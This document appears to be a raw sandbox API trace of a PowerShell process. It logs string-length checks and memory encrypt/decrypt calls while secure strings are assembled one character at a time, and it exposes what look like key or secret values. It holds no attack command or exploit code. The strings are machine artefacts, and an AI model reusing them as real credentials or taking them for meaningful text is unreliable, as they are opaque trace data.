SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁㠺껅⹮얁贘൩㐪㍨≫) returned 0x28 [0245.175] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.175] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6ShNq믿첹렶檞鞡") returned 0x28 [0245.175] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.175] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁ĺ᤺嶎樽쏝햔圖틞∉) returned 0x28 [0245.175] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁ĺ᤺嶎樽쏝햔圖틞∉) returned 0x28 [0245.176] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.176] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6ShNqo첹렶檞鞡") returned 0x28 [0245.176] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.176] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁㈺簐뮢ꮜ콃茝㜆냹⊚) returned 0x28 [0245.176] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁㈺簐뮢ꮜ콃茝㜆냹⊚) returned 0x28 [0245.176] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.176] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6ShNqo4렶檞鞡") returned 0x28 [0245.176] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.176] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁쬺湘謔憹贫瀡抳⁓∖) returned 0x28 [0245.176] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁쬺湘謔憹贫瀡抳⁓∖) returned 0x28 [0245.176] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.176] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6ShNqo4e檞鞡") returned 0x28 [0245.176] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.177] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁ꎧ㮩ꐍ툘畕囒㏶∉) returned 0x28 [0245.177] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁ꎧ㮩ꐍ툘畕囒㏶∉) returned 0x28 [0245.177] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.177] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6ShNqo4ez檞鞡") returned 0x28 [0245.177] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.177] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁⢢啩뇉聴翑ិ봚∨) returned 0x28 [0245.177] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁⢢啩뇉聴翑ិ봚∨) returned 0x28 [0245.177] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.177] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6ShNqo4ez7鞡") returned 0x28 [0245.177] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.177] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁鐺ᣲ㹃䶤⬒埫ﻫ賂∋) returned 0x28 [0245.177] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁鐺ᣲ㹃䶤⬒埫ﻫ賂∋) returned 0x28 [0245.177] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.178] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6ShNqo4ez79") returned 0x28 [0245.178] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.178] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁븺\濛ࣙ⦹ᯞᏰॐ琽") returned 0x28 [0245.178] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁븺\濛ࣙ⦹ᯞᏰॐ琽") returned 0x28 [0245.178] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁븺\濛ࣙ⦹ᯞᏰॐ琽") returned 0x28 [0245.178] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁븺\濛ࣙ⦹ᯞᏰॐ琽") returned 0x30 [0245.178] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0245.178] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6ShNqo4ez79z坎羰鍷週ꖏ稣뤆") returned 0x30 [0245.179] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0245.179] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁븺\濛ࣙ⦹ᯞᏰॐ琽䜟\ꗛ莣潫戒덳飢∪) returned 0x30 [0245.179] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁븺\濛ࣙ⦹ᯞᏰॐ琽䜟\ꗛ莣潫戒덳飢∪) returned 0x30 [0245.179] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0245.179] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6ShNqo4ez79zW羰鍷週ꖏ稣뤆") returned 0x30 [0245.179] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0245.179] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁븺\濛ࣙ⦹ᯞᏰॐ琽鴼᜼ᇗꕟ待㿘穛\⋜) returned 0x30 [0245.179] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁븺\濛ࣙ⦹ᯞᏰॐ琽鴼᜼ᇗꕟ待㿘穛\⋜) returned 0x30 [0245.179] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0245.179] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6ShNqo4ez79zWs鍷週ꖏ稣뤆") returned 0x30 [0245.179] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0245.179] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁븺\濛ࣙ⦹ᯞᏰॐ琽녋躿ᙆ晭掶菪奓") returned 0x30 [0245.179] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁븺\濛ࣙ⦹ᯞᏰॐ琽녋躿ᙆ晭掶菪奓") returned 0x30 [0245.179] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0245.180] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6ShNqo4ez79zWs=週ꖏ稣뤆") returned 0x30 [0245.180] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0245.180] EtwEventActivityIdControl () returned 0x0 [0245.180] EtwEventActivityIdControl () returned 0x0 [0245.180] EtwEventActivityIdControl () returned 0x0 [0245.181] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.181] EtwEventActivityIdControl () returned 0x0 [0245.181] EtwEventActivityIdControl () returned 0x0 [0245.181] EtwEventActivityIdControl () returned 0x0 [0245.182] SysStringLen (param_1="") returned 0x8 [0245.182] SysStringLen (param_1="N") returned 0x8 [0245.182] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.182] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0245.182] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0245.182] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.182] SysStringLen (param_1="ND") returned 0x8 [0245.182] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.182] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0245.183] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0245.183] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.183] SysStringLen (param_1="NDZ") returned 0x8 [0245.183] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.183] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0245.183] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0245.183] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.183] SysStringLen (param_1="NDZl") returned 0x8 [0245.183] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.183] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0245.183] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0245.183] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.184] SysStringLen (param_1="NDZlO") returned 0x8 [0245.184] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.184] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0245.184] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0245.184] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.184] SysStringLen (param_1="NDZlOD") returned 0x8 [0245.184] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.184] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0245.184] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0245.184] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.184] SysStringLen (param_1="NDZlODR") returned 0x8 [0245.184] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.185] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0245.185] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0245.185] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.185] SysStringLen (param_1="NDZlODRm") returned 0x8 [0245.185] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.185] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.185] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.185] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.186] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0245.186] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.186] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0245.186] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.186] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0245.186] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0245.186] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.186] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0245.187] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.187] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0245.187] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0245.187] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.187] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0245.187] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.187] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0245.187] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0245.187] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.187] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0245.187] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.187] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0245.188] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0245.188] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.188] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0245.188] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.188] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0245.188] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0245.188] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.188] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0245.188] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.188] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0245.188] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0245.188] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.189] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0245.189] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0245.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0245.189] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.189] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0245.189] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0245.190] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.190] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0245.190] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0245.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0245.190] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.191] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0245.191] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0245.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0245.191] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.191] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0245.191] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0245.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0245.191] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.191] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0245.191] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0245.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0245.192] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.192] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0245.192] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0245.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0245.192] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.192] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0245.192] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0245.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0245.192] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.193] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0245.193] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0245.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0245.193] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.193] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0245.193] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0245.194] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.194] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0245.194] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0245.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0245.194] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.194] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0245.194] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0245.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0245.195] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.195] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0245.195] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0245.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 